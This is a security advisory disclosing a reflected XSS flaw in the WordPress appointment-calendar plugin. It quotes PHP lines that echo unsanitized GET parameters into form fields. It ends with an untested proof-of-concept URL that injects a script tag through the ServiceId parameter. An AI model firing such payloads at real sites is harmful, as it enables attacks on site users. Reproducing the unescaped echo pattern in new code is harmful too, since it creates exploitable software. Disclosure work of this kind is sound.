Advisory #: 320
Title: Reflected XSS in wordpress plugin appointment-calendar v2.7.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/appointment-calendar
Downloads: 56407
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: appointment-calendar
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./appointment-calendar/appointment-calendar-mobile.php: 768: <input type="hidden" name="serviceid" id="serviceid" value="<?php if(isset($_GET['ServiceId'])) echo $_GET['ServiceId']; else echo '1'; ?>" /> 769: <input type="hidden" name="appointmentdate" id="appointmentdate" value="<?php if(isset($_GET['AppDate'])) echo $_GET['AppDate']; else echo date("d-m-Y"); ?>"/> 795: <input type="hidden" name="serviceId" id="serviceid" value="<?php echo $_GET['ServiceId'];?>" /> 796: <input type="hidden" name="appointmentdate" id="appointmentdate" value="<?php echo $_GET['AppDate'];?>" /> 797: <input type="hidden" name="StartTime" id="StartTime" value="<?php echo $_GET['StartTime'];?>"/> 798: <input type="hidden" name="ServiceDuration" id="ServiceDuration" value="<?php echo $_GET['ServiceDuration']; ?>" /> The variable ServiceId appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./appointment-calendar/appointment-calendar-mobile.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/appointment-calendar/appointment-calendar-mobile.php?ServiceId="><script>alert(1);</script><"